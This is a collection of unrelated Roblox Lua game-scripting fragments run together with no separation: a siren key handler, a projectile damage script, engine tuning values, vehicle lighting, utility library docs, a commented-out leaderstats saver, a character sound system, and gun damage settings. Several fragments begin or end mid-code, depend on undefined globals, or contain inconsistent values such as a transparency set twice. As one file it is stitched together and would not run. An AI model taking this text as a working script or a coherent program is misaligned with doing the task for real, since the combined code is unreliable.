mouse.KeyUp:connect(function(key) if key=="f" then veh.ELS.Sirens.AH.Transparency = 1 veh.ELS.Siren.Airhorn:Stop(3) veh.ELS.Siren2.Airhorn:Stop(3) veh.ELS.Sirens.Horn.Transparency = 1 veh.ELS.Sirens.Horn.Transparency = 3 veh.ELS.Siren.Wail.Volume = 3 veh.ELS.Siren.Yelp.Volume = 3 veh.ELS.Siren.Priority.Volume = 3 veh.ELS.Siren2.Wail.Volume = 3 veh.ELS.Siren2.Yelp.Volume = 3 veh.ELS.Siren2.Priority.Volume = 3 end end)
-- Original script made by Luckymaxer [yes i edited this lol]
Projectile = script.Parent Projectile.Size = Vector3.new(0.2,0.2,0.2) Players = game:GetService("Players") Debris = game:GetService("Debris") Values = {} for i, v in pairs(script:GetChildren()) do if string.find(string.lower(v.ClassName), string.lower("Value")) then Values[v.Name] = v end end BaseProjectile = Values.BaseProjectile.Value function GetCreator() local Creator = Values.Creator.Value return (((Creator and Creator.Parent and Creator:IsA("Player")) and Creator) or nil) end function IsTeamMate(Player1, Player2) return (Player1 and Player2 and not Player1.Neutral and not Player2.Neutral and Player1.TeamColor == Player2.TeamColor) end function TagHumanoid(humanoid, player) local Creator_Tag = Instance.new("ObjectValue") Creator_Tag.Name = "creator" Creator_Tag.Value = player Debris:AddItem(Creator_Tag, 2) Creator_Tag.Parent = humanoid end function UntagHumanoid(humanoid) for i, v in pairs(humanoid:GetChildren()) do if v:IsA("ObjectValue") and v.Name == "creator" then v:Destroy() end end end function CheckTableForString(Table, String) for i, v in pairs(Table) do if string.find(string.lower(String), string.lower(v)) then return true end end return false end function CheckIntangible(Hit) local ProjectileNames = {"Water", "Part", "Projectile", "Effect", "Rail", "Laser", "Bullet"} if Hit and Hit.Parent then if ((not Hit.CanCollide or CheckTableForString(ProjectileNames, Hit.Name)) and not Hit.Parent:FindFirstChild("Humanoid")) then return true end end return false end function CastRay(StartPos, Vec, Length, Ignore, DelayIfHit) local Ignore = ((type(Ignore) == "table" and Ignore) or {Ignore}) local RayHit, RayPos, RayNormal = game:GetService("Workspace"):FindPartOnRayWithIgnoreList(Ray.new(StartPos, Vec * Length), Ignore) if RayHit and CheckIntangible(RayHit) then if DelayIfHit then wait() end RayHit, RayPos, RayNormal = CastRay((RayPos + (Vec * 0.01)), Vec, (Length - ((StartPos - RayPos).magnitude)), Ignore, DelayIfHit) end return RayHit, RayPos, RayNormal end function FlyProjectile(Part, StartPos) local AlreadyHit = false local Player = GetCreator() local function PartHit(Hit) if not Hit or not Hit.Parent or not Player then return end local character = Hit.Parent if character:IsA("Hat") then character = character.Parent end if not character then return end local player = Players:GetPlayerFromCharacter(character) if player and (player == Player or IsTeamMate(Player, player)) then return end local humanoid = character:FindFirstChild("Humanoid") if not humanoid or humanoid.Health == 0 then return end UntagHumanoid(humanoid) TagHumanoid(humanoid, Player) humanoid:TakeDamage(Values.Damage.Value) return character end local function CheckForContact(Hit) local Directions = {{Vector = Part.CFrame.lookVector, Length = (BaseProjectile.Size.Z + 2)}, {Vector = Vector3.new(0, -1, 0), Length = (BaseProjectile.Size.Y * 1.25)}, ((Hit and {Vector = CFrame.new(Part.Position, Hit.Position).lookVector, Length = (BaseProjectile.Size.Z + 2)}) or nil)} local ClosestRay = {DistanceApart = math.huge} for i, v in pairs(Directions) do if v then local Direction = CFrame.new(Part.Position, (Part.CFrame + v.Vector * 2).p).lookVector local RayHit, RayPos, RayNormal = CastRay((Part.Position + Vector3.new(0, 0, 0)), Direction, v.Length, {((Player and Player.Character) or nil), Part}, false) if RayHit then local DistanceApart = (Part.Position - RayPos).Magnitude if DistanceApart < ClosestRay.DistanceApart then ClosestRay = {Hit = RayHit, Pos = RayPos, Normal = RayNormal, DistanceApart = DistanceApart} end end end end return ((ClosestRay.Hit and ClosestRay) or nil) end local function ConnectPart(Hit) if AlreadyHit then return end local ClosestRay = CheckForContact(Hit) if not ClosestRay then return end AlreadyHit = true for i, v in pairs(Part:GetChildren()) do if v:IsA("BasePart") then for ii, vv in pairs(v:GetChildren()) do if vv:IsA("ParticleEmitter") then vv.Enabled = false v.Anchored = true elseif vv:IsA("JointInstance") then vv:Destroy() end end Debris:AddItem(v, 8) elseif string.find(string.lower(v.ClassName), string.lower("Body")) then v:Destroy() end end local SuccessfullyHit = PartHit(ClosestRay.Hit) Part.Size = Vector3.new(0.2, 0.2, 0.2) Part.CanCollide = false local Hit = ClosestRay.Hit if SuccessfullyHit and Hit.Parent:FindFirstChild("Humanoid") or Hit.Parent.Parent:FindFirstChild("Humanoid") then script.HitE:Fire(Hit) if Values.ProjectileLand.Value == true then local ProjectilePosition = ClosestRay.Pos local StickCFrame = CFrame.new(ProjectilePosition, StartPos) StickCFrame = (StickCFrame * CFrame.new(0, 0, (-(BaseProjectile.Size.Z / 2) + 0)) * CFrame.Angles(0, math.pi, 0)) local Weld = Instance.new("Motor6D") Weld.Part0 = Hit Weld.Part1 = Part Weld.C0 = CFrame.new(0, 0, 0) Weld.C1 = (StickCFrame:inverse() * Hit.CFrame) Weld.Parent = Part Part.Orientation = Part.Orientation + Values.ProjectileLandRotation.Value else script.Parent:Destroy() end else script.HitE:Fire(Hit) if Values.ProjectileLand.Value == true then local ProjectilePosition = ClosestRay.Pos local StickCFrame = CFrame.new(ProjectilePosition, StartPos) StickCFrame = (StickCFrame * CFrame.new(0, 0, (-(BaseProjectile.Size.Z / 2) + 0)) * CFrame.Angles(0, math.pi, 0)) local Weld = Instance.new("Motor6D") Weld.Part0 = Hit Weld.Part1 = Part Weld.C0 = CFrame.new(0, 0, 0) Weld.C1 = (StickCFrame:inverse() * Hit.CFrame) Weld.Parent = Part Part.Orientation = Part.Orientation + Values.ProjectileLandRotation.Value else script.Parent:Destroy() end end delay(Values.Lifetime.Value,function() Projectile:Destroy() end) Part.Name = "Effect" end Part.Touched:Connect(function(Hit) if not Hit or not Hit.Parent or AlreadyHit then return end ConnectPart(Hit) end) spawn(function() while Part and Part.Parent and Part.Name ~= "Effect" and not AlreadyHit do ConnectPart() wait() end end) end FlyProjectile(Projectile, Values.Origin.Value)
--[=[ Checks if the given object is a Signal. @param obj any -- Object to check @return boolean -- `true` if the object is a Signal. ]=]
function Signal.Is(obj: any): boolean return type(obj) == "table" and getmetatable(obj) == Signal end
--[[Engine]]
--Torque Curve Tune.Horsepower = 310 -- [TORQUE CURVE VISUAL] Tune.IdleRPM = 700 -- https://www.desmos.com/calculator/2uo3hqwdhf Tune.PeakRPM = 7200 -- Use sliders to manipulate values Tune.Redline = 8500 -- Copy and paste slider values into the respective tune values Tune.EqPoint = 5500 Tune.PeakSharpness = 7.5 Tune.CurveMult = 0.16 --Incline Compensation Tune.InclineComp = 1.7 -- Torque compensation multiplier for inclines (applies gradient from 0-90 degrees) --Misc Tune.RevAccel = 350 -- RPM acceleration when clutch is off Tune.RevDecay = 75 -- RPM decay when clutch is off Tune.RevBounce = 500 -- RPM kickback from redline Tune.IdleThrottle = 3 -- Percent throttle at idle Tune.ClutchTol = 500 -- Clutch engagement threshold (higher = faster response)
--------------------------------------------------------------------------------
local F = {} local function ToggleLightInstant(Group,TurnOn,SettingChange,HighBeamsOn,Braking) if SettingChange and not tonumber(Debounce) then Debounce = 0 end if TurnOn then for Index,Value in pairs(Group:GetDescendants()) do if Value:IsA("BasePart") then Value.Material = "Neon" elseif Value:IsA("Light") then Value.Enabled = true if HighBeamsOn == true then Value.Color = Color3.fromRGB(H_BEAM_COLOR[1],H_BEAM_COLOR[2],H_BEAM_COLOR[3]) Value.Range = H_BEAM_RANGE Value.Brightness = H_BEAM_BRIGHTNESS elseif HighBeamsOn == false then Value.Color = Color3.fromRGB(L_BEAM_COLOR[1],L_BEAM_COLOR[2],L_BEAM_COLOR[3]) Value.Range = L_BEAM_RANGE Value.Brightness = L_BEAM_BRIGHTNESS end if Braking and Group == TL then Value.Range = B_LIGHT_RANGE Value.Brightness = B_LIGHT_BRIGHTNESS elseif not Braking and Group == TL then Value.Range = T_LIGHT_RANGE Value.Brightness = T_LIGHT_BRIGHTNESS end end end else for Index,Value in pairs(Group:GetDescendants()) do if Value:IsA("BasePart") then if Braking and CurrentMode < 4 then Value.Material = "Neon" else Value.Material = "SmoothPlastic" end elseif Value:IsA("Light") then Value.Enabled = false if Braking and CurrentMode < 4 then Value.Enabled = true Value.Range = T_LIGHT_RANGE Value.Brightness = T_LIGHT_BRIGHTNESS end end end end if SettingChange and tonumber(Debounce) then Debounce += 1 end if CurrentMode == 4 and Debounce == 3 then Debounce = true elseif CurrentMode == 1 and Debounce == 2 then Debounce = true elseif CurrentMode == 2 and Debounce == 1 then Debounce = true elseif CurrentMode == 3 and Debounce == 1 then Debounce = true end end local function ToggleLightFade(Group,TurnOn,SettingChange,HighBeamsOn,Braking) local Lights = {} if SettingChange and not tonumber(Debounce) then Debounce = 0 end if TurnOn then for Index,Value in pairs(Group:GetDescendants()) do if Value:IsA("BasePart") then Value.Material = "Neon" elseif Value:IsA("Light") then table.insert(Lights,Value) Value.Enabled = true if HighBeamsOn == true then Value.Color = Color3.fromRGB(H_BEAM_COLOR[1],H_BEAM_COLOR[2],H_BEAM_COLOR[3]) Value.Range = H_BEAM_RANGE Value.Brightness = H_BEAM_BRIGHTNESS elseif HighBeamsOn == false then Value.Color = Color3.fromRGB(L_BEAM_COLOR[1],L_BEAM_COLOR[2],L_BEAM_COLOR[3]) Value.Range = L_BEAM_RANGE Value.Brightness = L_BEAM_BRIGHTNESS end if Braking and Group == TL then Value.Range = B_LIGHT_RANGE Value.Brightness = B_LIGHT_BRIGHTNESS elseif not Braking and Group == TL then Value.Range = T_LIGHT_RANGE Value.Brightness = T_LIGHT_BRIGHTNESS end end end local Cache = {} for Index,Value in pairs(Lights) do table.insert(Cache,Value.Range) table.insert(Cache,Value.Brightness) if Braking and Group == TL then Value.Range = T_LIGHT_RANGE Value.Brightness = T_LIGHT_BRIGHTNESS else Value.Range = 0 Value.Brightness = 0 end end for Index,Value in pairs(Lights) do TS:Create(Value,FadeTweenInfo,{Range = Cache[Index*2-1]}):Play() TS:Create(Value,FadeTweenInfo,{Brightness = Cache[Index*2]}):Play() end wait(FADE_TIME) else for Index,Value in pairs(Group:GetDescendants()) do if Value:IsA("BasePart") then if Braking and CurrentMode < 4 then Value.Material = "Neon" else Value.Material = "SmoothPlastic" end elseif Value:IsA("Light") then table.insert(Lights,Value) if Braking and CurrentMode < 4 then Value.Enabled = true end end end local Cache = {} for Index,Value in pairs(Lights) do table.insert(Cache,Value.Range) table.insert(Cache,Value.Brightness) end if Braking == nil then for Index,Value in pairs(Lights) do TS:Create(Value,FadeTweenInfo,{Range = 0}):Play() TS:Create(Value,FadeTweenInfo,{Brightness = 0}):Play() end wait(FADE_TIME) elseif Braking == true then for Index,Value in pairs(Lights) do if CurrentMode == 4 then TS:Create(Value,BrakeFadeInfo,{Range = 0}):Play() TS:Create(Value,BrakeFadeInfo,{Brightness = 0}):Play() elseif CurrentMode < 4 then TS:Create(Value,BrakeFadeInfo,{Range = T_LIGHT_RANGE}):Play() TS:Create(Value,BrakeFadeInfo,{Brightness = T_LIGHT_BRIGHTNESS}):Play() end end wait(B_LIGHT_FADE_TIME) for Index,Value in pairs(Lights) do Value.Range = T_LIGHT_RANGE Value.Brightness = T_LIGHT_BRIGHTNESS end end for Index,Value in pairs(Lights) do if Braking and CurrentMode < 4 then Value.Enabled = true else Value.Enabled = false Value.Range = Cache[Index*2-1] Value.Brightness = Cache[Index*2] end end end if SettingChange and tonumber(Debounce) then Debounce += 1 end if CurrentMode == 4 and Debounce == 3 then Debounce = true elseif CurrentMode == 1 and Debounce == 2 then Debounce = true elseif CurrentMode == 2 and Debounce == 1 then Debounce = true elseif CurrentMode == 3 and Debounce == 1 then Debounce = true end end F.ChangeLight = function() if tonumber(Debounce) then return end if CurrentMode == 4 then if Debounce == true then CurrentMode = 1 Debounce = false F.ChangeLight() return elseif Debounce == false then if LIGHT_FADE then spawn(function() ToggleLightFade(FL,false,true) end) spawn(function() ToggleLightFade(HL,false,true) end) spawn(function() ToggleLightFade(TL,false,true) end) else spawn(function() ToggleLightInstant(FL,false,true) end) spawn(function() ToggleLightInstant(HL,false,true) end) spawn(function() ToggleLightInstant(TL,false,true) end) end end elseif CurrentMode == 1 then if Debounce == true then CurrentMode += 1 Debounce = false F.ChangeLight() return elseif Debounce == false then if LIGHT_FADE then spawn(function() ToggleLightFade(HL,true,true,false) end) spawn(function() ToggleLightFade(TL,true,true) end) else spawn(function() ToggleLightInstant(HL,true,true,false) end) spawn(function() ToggleLightInstant(TL,true,true) end) end end elseif CurrentMode == 2 then if Debounce == true then CurrentMode += 1 Debounce = false F.ChangeLight() return elseif Debounce == false then if LIGHT_FADE then ToggleLightFade(HL,true,true,true) else ToggleLightInstant(HL,true,true,true) end end elseif CurrentMode == 3 and FOG_LIGHTS then if Debounce == true then CurrentMode += 1 Debounce = false F.ChangeLight() return elseif Debounce == false then if LIGHT_FADE then ToggleLightFade(FL,true,true) else ToggleLightInstant(FL,true,true) end end elseif CurrentMode == 3 and not FOG_LIGHTS then CurrentMode += 1 Debounce = false F.ChangeLight() end end F.Indicators = function(Type) if CurrentIndicators == "Off" then BreakINDLoop = false CurrentIndicators = Type elseif CurrentIndicators == Type then BreakINDLoop = true return elseif CurrentIndicators ~= Type then BreakINDLoop = true repeat wait() until CurrentIndicators == "Off" wait(IND_TICK_TIME) spawn(F.Indicators(Type)) return end if Type ~= "Hazards" then while true do ToggleLightInstant(IN[Type],true) wait(IND_TICK_TIME) ToggleLightInstant(IN[Type],false) if not BreakINDLoop then wait(IND_TICK_TIME) else BreakINDLoop = false CurrentIndicators = "Off" return end end elseif Type == "Hazards" then while true do ToggleLightInstant(IN.Left,true) ToggleLightInstant(IN.Right,true) wait(IND_TICK_TIME) ToggleLightInstant(IN.Left,false) ToggleLightInstant(IN.Right,false) if not BreakINDLoop then wait(IND_TICK_TIME) else BreakINDLoop = false CurrentIndicators = "Off" return end end end end F.RunningLights = function(IsOn) if LIGHT_FADE then ToggleLightFade(RN,IsOn,false) else ToggleLightInstant(RN,IsOn,true) end end F.Braking = function(Value) if Value == true then if LIGHT_FADE then ToggleLightFade(TL,false,false,nil,true) else ToggleLightInstant(TL,false,false,nil,true) end else if LIGHT_FADE then ToggleLightFade(TL,true,false,nil,true) else ToggleLightInstant(TL,true,false,nil,true) end end end F.Reverse = function(Value) if Value == -1 then if LIGHT_FADE then ToggleLightFade(RL,true,false) else ToggleLightInstant(RL,true,false) end else if LIGHT_FADE then ToggleLightFade(RL,false,false) else ToggleLightInstant(RL,false,false) end end end F.Setup = function(MainSettingTable,MiscSettingTable,ModelsTable,OtherVariables) --Main Settings FOG_LIGHTS = MainSettingTable[1] LIGHT_FADE = MainSettingTable[2] --Miscellaneous Settings FADE_TIME = MiscSettingTable[1] FADE_TWNSTYLE = MiscSettingTable[2] FADE_TWNDIRECTION = MiscSettingTable[3] IND_TICK_TIME = MiscSettingTable[4] L_BEAM_COLOR = MiscSettingTable[5] L_BEAM_RANGE = MiscSettingTable[6] L_BEAM_BRIGHTNESS = MiscSettingTable[7] H_BEAM_COLOR = MiscSettingTable[8] H_BEAM_RANGE = MiscSettingTable[9] H_BEAM_BRIGHTNESS = MiscSettingTable[10] T_LIGHT_RANGE = MiscSettingTable[11] T_LIGHT_BRIGHTNESS = MiscSettingTable[12] B_LIGHT_RANGE = MiscSettingTable[13] B_LIGHT_BRIGHTNESS = MiscSettingTable[14] B_LIGHT_FADE_TIME = MiscSettingTable[15] --Models FL = ModelsTable[1] HL = ModelsTable[2] IN = ModelsTable[3] RL = ModelsTable[4] RN = ModelsTable[5] TL = ModelsTable[6] --Other Variables CurrentMode = OtherVariables[1] Debounce = OtherVariables[2] CurrentIndicators = OtherVariables[3] BreakINDLoop = OtherVariables[4] FadeTweenInfo = TweenInfo.new(FADE_TIME,Enum.EasingStyle[FADE_TWNSTYLE],Enum.EasingDirection[FADE_TWNDIRECTION]) BrakeFadeInfo = TweenInfo.new(B_LIGHT_FADE_TIME,Enum.EasingStyle[FADE_TWNSTYLE],Enum.EasingDirection[FADE_TWNDIRECTION]) local function CreateModel(Variable,Indicator) local CloneModel = Instance.new("Model",Car.Body) if Indicator then local LeftModel = Instance.new("Model",CloneModel) local RightModel = Instance.new("Model",CloneModel) LeftModel.Name = "Left" RightModel.Name = "Right" end return CloneModel end if FL == nil then FL = CreateModel(FL,false) end if HL == nil then HL = CreateModel(HL,false) end if IN == nil then IN = CreateModel(IN,true) end if RL == nil then RL = CreateModel(RL,false) end if RN == nil then RN = CreateModel(RN,false) end if TL == nil then TL = CreateModel(TL,false) end end script.Parent.OnServerEvent:Connect(function(plr,Fnc,...) F[Fnc](...) end)
--[=[ @param object any -- Object to track @param cleanupMethod string? -- Optional cleanup name override @return object: any Adds an object to the trove. Once the trove is cleaned or destroyed, the object will also be cleaned up. The following types are accepted (e.g. `typeof(object)`): | Type | Cleanup | | ---- | ------- | | `Instance` | `object:Destroy()` | | `RBXScriptConnection` | `object:Disconnect()` | | `function` | `object()` | | `thread` | `coroutine.close(object)` | | `table` | `object:Destroy()` _or_ `object:Disconnect()` | | `table` with `cleanupMethod` | `object:<cleanupMethod>()` | Returns the object added. ```lua -- Add a part to the trove, then destroy the trove, -- which will also destroy the part: local part = Instance.new("Part") trove:Add(part) trove:Destroy() -- Add a function to the trove: trove:Add(function() print("Cleanup!") end) trove:Destroy() -- Standard cleanup from table: local tbl = {} function tbl:Destroy() print("Cleanup") end trove:Add(tbl) -- Custom cleanup from table: local tbl = {} function tbl:DoSomething() print("Do something on cleanup") end trove:Add(tbl, "DoSomething") ``` ]=]
function Trove:Add(object: any, cleanupMethod: string?): any local cleanup = GetObjectCleanupFunction(object, cleanupMethod) table.insert(self._objects, {object, cleanup}) return object end
--[[ local dataStore = game:GetService("DataStoreService") -- gets the data store service local data = dataStore:GetDataStore("Stats") -- makes a new data stored named "stats" game.Players.PlayerAdded:Connect(function(plr) -- when a player joins the game local leaderstats = Instance.new("Folder") -- we make a leaderstats that will hold the visible stats of a player leaderstats.Name = "leaderstats" leaderstats.Parent = plr local Clicks = Instance.new("NumberValue") -- we make a stat named coins, you can name it whatever you want Clicks.Name = "Clicks" Clicks.Parent = leaderstats local Rebirths = Instance.new("NumberValue") -- we make a second stat named xp, you can also name it whatever you want instead Rebirths.Name = "Rebirths" Rebirths.Parent = leaderstats local Gems = Instance.new("NumberValue") -- we make a second stat named xp, you can also name it whatever you want instead Gems.Name = "Gems" Gems.Parent = leaderstats local Clicks local Rebirths local Gems Clicks = data:GetAsync(plr.UserId.."-Clicks") -- ^^ we see if the the coin stat has been saved in the players key (their user ID) and we save coins in the "Coins" data key so we know we know we are saving coins Rebirths = data:GetAsync(plr.UserId.."-Rebirths")-- same as the top except its with the xp stat Gems = data:GetAsync(plr.UserId.."-Gems")-- same as the top except its with the xp stat if Clicks ~= nil then -- if the player has coins saved (more than 0) plr.leaderstats.Clicks.Value = Clicks end if Rebirths ~= nil then -- if the player has xp saved (more than 0) plr.leaderstats.Rebirths.Value = Rebirths end if Gems ~= nil then -- if the player has xp saved (more than 0) plr.leaderstats.Gems.Value = Gems end end) game.Players.PlayerRemoving:Connect(function(plr) -- when the players leave local sucess, errormsg = pcall(function() -- pcall function helps the script to contain the error if there is one instead of breaking the entire script data:SetAsync(plr.UserId.."-Clicks", plr.leaderstats.Clicks.Value) -- the players stats will be set to the players sync for coins data:SetAsync(plr.UserId.."-Rebirths", plr.leaderstats.Rebirths.Value) -- same thing but with the xp stat data:SetAsync(plr.UserId.."-Gems", plr.leaderstats.Gems.Value) -- same thing but with the xp stat end) if errormsg then -- if theres an error with the data store warn("error") end end) --]]
-- map a value from one range to another
local function map(x, inMin, inMax, outMin, outMax) return (x - inMin)*(outMax - outMin)/(inMax - inMin) + outMin end local function playSound(sound) sound.TimePosition = 0 sound.Playing = true end local function stopSound(sound) sound.Playing = false sound.TimePosition = 0 end local function initializeSoundSystem(player, humanoid, rootPart) local sounds = {} -- initialize sounds for name, props in pairs(SOUND_DATA) do local sound = Instance.new("Sound") sound.Name = name -- set default values sound.Archivable = false sound.EmitterSize = 5 sound.MaxDistance = 150 sound.Volume = 0.65 for propName, propValue in pairs(props) do sound[propName] = propValue end sound.Parent = rootPart sounds[name] = sound end local playingLoopedSounds = {} local function stopPlayingLoopedSounds(except) for sound in pairs(playingLoopedSounds) do if sound ~= except then sound.Playing = false playingLoopedSounds[sound] = nil end end end -- state transition callbacks local stateTransitions = { [Enum.HumanoidStateType.FallingDown] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.GettingUp] = function() stopPlayingLoopedSounds() playSound(sounds.GettingUp) end, [Enum.HumanoidStateType.Jumping] = function() stopPlayingLoopedSounds() playSound(sounds.Jumping) end, [Enum.HumanoidStateType.Swimming] = function() local verticalSpeed = math.abs(rootPart.Velocity.Y) if verticalSpeed > 0.1 then sounds.Splash.Volume = math.clamp(map(verticalSpeed, 100, 350, 0.28, 1), 0, 1) playSound(sounds.Splash) end stopPlayingLoopedSounds(sounds.Swimming) sounds.Swimming.Playing = true playingLoopedSounds[sounds.Swimming] = true end, [Enum.HumanoidStateType.Freefall] = function() sounds.FreeFalling.Volume = 0 stopPlayingLoopedSounds(sounds.FreeFalling) playingLoopedSounds[sounds.FreeFalling] = true end, [Enum.HumanoidStateType.Landed] = function() stopPlayingLoopedSounds() local verticalSpeed = math.abs(rootPart.Velocity.Y) if verticalSpeed > 75 then sounds.Landing.Volume = math.clamp(map(verticalSpeed, 50, 100, 0, 1), 0, 1) playSound(sounds.Landing) end end, [Enum.HumanoidStateType.Running] = function() stopPlayingLoopedSounds(sounds.Running) sounds.Running.Playing = true playingLoopedSounds[sounds.Running] = true end, [Enum.HumanoidStateType.Climbing] = function() local sound = sounds.Climbing if math.abs(rootPart.Velocity.Y) > 0.1 then sound.Playing = true stopPlayingLoopedSounds(sound) else stopPlayingLoopedSounds() end playingLoopedSounds[sound] = true end, [Enum.HumanoidStateType.Seated] = function() stopPlayingLoopedSounds() end, [Enum.HumanoidStateType.Dead] = function() stopPlayingLoopedSounds() playSound(sounds.Died) end, } -- updaters for looped sounds local loopedSoundUpdaters = { [sounds.Climbing] = function(dt, sound, vel) sound.Playing = vel.Magnitude > 0.1 end, [sounds.FreeFalling] = function(dt, sound, vel) if vel.Magnitude > 75 then sound.Volume = math.clamp(sound.Volume + 0.9*dt, 0, 1) else sound.Volume = 0 end end, [sounds.Running] = function(dt, sound, vel) --sound.Playing = vel.Magnitude > 0.5 and humanoid.MoveDirection.Magnitude > 0.5 sound.SoundId = "" sound.PlaybackSpeed = 0 sound.Volume = 0 sound.EmitterSize = 0 end, } -- state substitutions to avoid duplicating entries in the state table local stateRemap = { [Enum.HumanoidStateType.RunningNoPhysics] = Enum.HumanoidStateType.Running, } local activeState = stateRemap[humanoid:GetState()] or humanoid:GetState() local activeConnections = {} local stateChangedConn = humanoid.StateChanged:Connect(function(_, state) state = stateRemap[state] or state if state ~= activeState then local transitionFunc = stateTransitions[state] if transitionFunc then transitionFunc() end activeState = state end end) local steppedConn = RunService.Stepped:Connect(function(_, worldDt) -- update looped sounds on stepped for sound in pairs(playingLoopedSounds) do local updater = loopedSoundUpdaters[sound] if updater then updater(worldDt, sound, rootPart.Velocity) end end end) local humanoidAncestryChangedConn local rootPartAncestryChangedConn local characterAddedConn local function terminate() stateChangedConn:Disconnect() steppedConn:Disconnect() humanoidAncestryChangedConn:Disconnect() rootPartAncestryChangedConn:Disconnect() characterAddedConn:Disconnect() end humanoidAncestryChangedConn = humanoid.AncestryChanged:Connect(function(_, parent) if not parent then terminate() end end) rootPartAncestryChangedConn = rootPart.AncestryChanged:Connect(function(_, parent) if not parent then terminate() end end) characterAddedConn = player.CharacterAdded:Connect(terminate) end local function playerAdded(player) local function characterAdded(character) -- Avoiding memory leaks in the face of Character/Humanoid/RootPart lifetime has a few complications: -- * character deparenting is a Remove instead of a Destroy, so signals are not cleaned up automatically. -- ** must use a waitForFirst on everything and listen for hierarchy changes. -- * the character might not be in the dm by the time CharacterAdded fires -- ** constantly check consistency with player.Character and abort if CharacterAdded is fired again -- * Humanoid may not exist immediately, and by the time it's inserted the character might be deparented. -- * RootPart probably won't exist immediately. -- ** by the time RootPart is inserted and Humanoid.RootPart is set, the character or the humanoid might be deparented. if not character.Parent then waitForFirst(character.AncestryChanged, player.CharacterAdded) end if player.Character ~= character or not character.Parent then return end local humanoid = character:FindFirstChildOfClass("Humanoid") while character:IsDescendantOf(game) and not humanoid do waitForFirst(character.ChildAdded, character.AncestryChanged, player.CharacterAdded) humanoid = character:FindFirstChildOfClass("Humanoid") end if player.Character ~= character or not character:IsDescendantOf(game) then return end -- must rely on HumanoidRootPart naming because Humanoid.RootPart does not fire changed signals local rootPart = character:FindFirstChild("HumanoidRootPart") while character:IsDescendantOf(game) and not rootPart do waitForFirst(character.ChildAdded, character.AncestryChanged, humanoid.AncestryChanged, player.CharacterAdded) rootPart = character:FindFirstChild("HumanoidRootPart") end if rootPart and humanoid:IsDescendantOf(game) and character:IsDescendantOf(game) and player.Character == character then initializeSoundSystem(player, humanoid, rootPart) end end if player.Character then characterAdded(player.Character) end player.CharacterAdded:Connect(characterAdded) end Players.PlayerAdded:Connect(playerAdded) for _, player in ipairs(Players:GetPlayers()) do playerAdded(player) end repeat wait() until game.Players.LocalPlayer.Character local Character = game.Players.LocalPlayer.Character local Head = Character:WaitForChild("HumanoidRootPart") local RunningSound = Head:WaitForChild("Running") local Humanoid = Character:WaitForChild("Humanoid") local vel = 0 Humanoid.Changed:Connect(function(property) end) Humanoid.Running:connect(function(a) RunningSound.PlaybackSpeed = 1 RunningSound.Volume = 0 RunningSound.EmitterSize = 0 vel = a end)
--- Creates a new spring -- @param initial A number or Vector3 (anything with * number and addition/subtraction defined) -- @param[opt=tick] clock function to use to update spring
function Spring.new(initial, clock) local target = initial or 0 clock = clock or tick return setmetatable({ _clock = clock; _time0 = clock(); _position0 = target; _velocity0 = 0*target; _target = target; _damper = 1; _speed = 1; }, Spring) end
--[[ An implementation of Promises similar to Promise/A+. ]]
local ERROR_NON_PROMISE_IN_LIST = "Non-promise value passed into %s at index %s" local ERROR_NON_LIST = "Please pass a list of promises to %s" local ERROR_NON_FUNCTION = "Please pass a handler function to %s!" local MODE_KEY_METATABLE = { __mode = "k" } local function isCallable(value) if type(value) == "function" then return true end if type(value) == "table" then local metatable = getmetatable(value) if metatable and type(rawget(metatable, "__call")) == "function" then return true end end return false end
--[=[ @within Plasma @function portal @tag widgets @param targetInstance Instance -- Where the portal goes to @param children () -> () -- Children The portal widget creates its children inside the specified `targetInstance`. For example, you could use this to create lighting effects in Lighting as a widget: ```lua return function(size) portal(Lighting, function() useInstance(function() local blur = Instance.new("BlurEffect") blur.Size = size return blur end) end) end ``` ]=]
local Runtime = require(script.Parent.Parent.Runtime) return Runtime.widget(function(targetInstance, fn) Runtime.useInstance(function() return nil, targetInstance end) Runtime.scope(fn) end)
--Starter Character Scripts
local MaxSpeed = 70 while true do wait() if script.Parent.Humanoid.MoveDirection == Vector3.new(0,0,0) then script.Parent.Humanoid.WalkSpeed = 1 else script.Parent.Humanoid.WalkSpeed = script.Parent.Humanoid.WalkSpeed + .4 if script.Parent.Humanoid.WalkSpeed >= MaxSpeed then script.Parent.Humanoid.WalkSpeed = MaxSpeed end end end
--[=[ @return Trove Creates and adds another trove to itself. This is just shorthand for `trove:Construct(Trove)`. This is useful for contexts where the trove object is present, but the class itself isn't. :::note This does _not_ clone the trove. In other words, the objects in the trove are not given to the new constructed trove. This is simply to construct a new Trove and add it as an object to track. ::: ```lua local trove = Trove.new() local subTrove = trove:Extend() trove:Clean() -- Cleans up the subTrove too ``` ]=]
function Trove:Extend() if self._cleaning then error("Cannot call trove:Extend() while cleaning", 2) end return self:Construct(Trove) end
--[=[ Throttles emission of observables. https://rxjs-dev.firebaseapp.com/api/operators/debounceTime :::note Note that on complete, the last item is not included, for now, unlike the existing version in rxjs. ::: @param duration number @param throttleConfig { leading = true; trailing = true; } @return (source: Observable) -> Observable ]=]
function Rx.throttleTime(duration, throttleConfig) assert(type(duration) == "number", "Bad duration") assert(type(throttleConfig) == "table" or throttleConfig == nil, "Bad throttleConfig") return function(source) assert(Observable.isObservable(source), "Bad observable") return Observable.new(function(sub) local maid = Maid.new() local throttledFunction = ThrottledFunction.new(duration, function(...) sub:Fire(...) end, throttleConfig) maid:GiveTask(throttledFunction) maid:GiveTask(source:Subscribe(function(...) throttledFunction:Call(...) end, sub:GetFailComplete())) return maid end) end end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local car = script.Parent.Car.Value local vl = script.Parent.Values local strength = 350 local max = 8 --in sps while wait() do if (vl.Throttle.Value < 0.1 and vl.RPM.Value > 0 and vl.Velocity.Value.Magnitude < max and (math.abs(vl.Gear.Value) > 0)) and vl.Brake.Value == 0 then car.Body.Creep.BV.MaxForce = Vector3.new(strength,0,strength) else car.Body.Creep.BV.MaxForce = Vector3.new(0,0,0) end car.Body.Creep.BV.Velocity = car.Body.Creep.CFrame.lookVector*(8*(math.min(vl.Gear.Value,1))) end
--// Damage Settings
BaseDamage = 20; -- Torso Damage LimbDamage = 18; -- Arms and Legs ArmorDamage = 15; -- How much damage is dealt against armor (Name the armor "Armor") HeadDamage = 38; -- If you set this to 100, there's a chance the player won't die because of the heal script
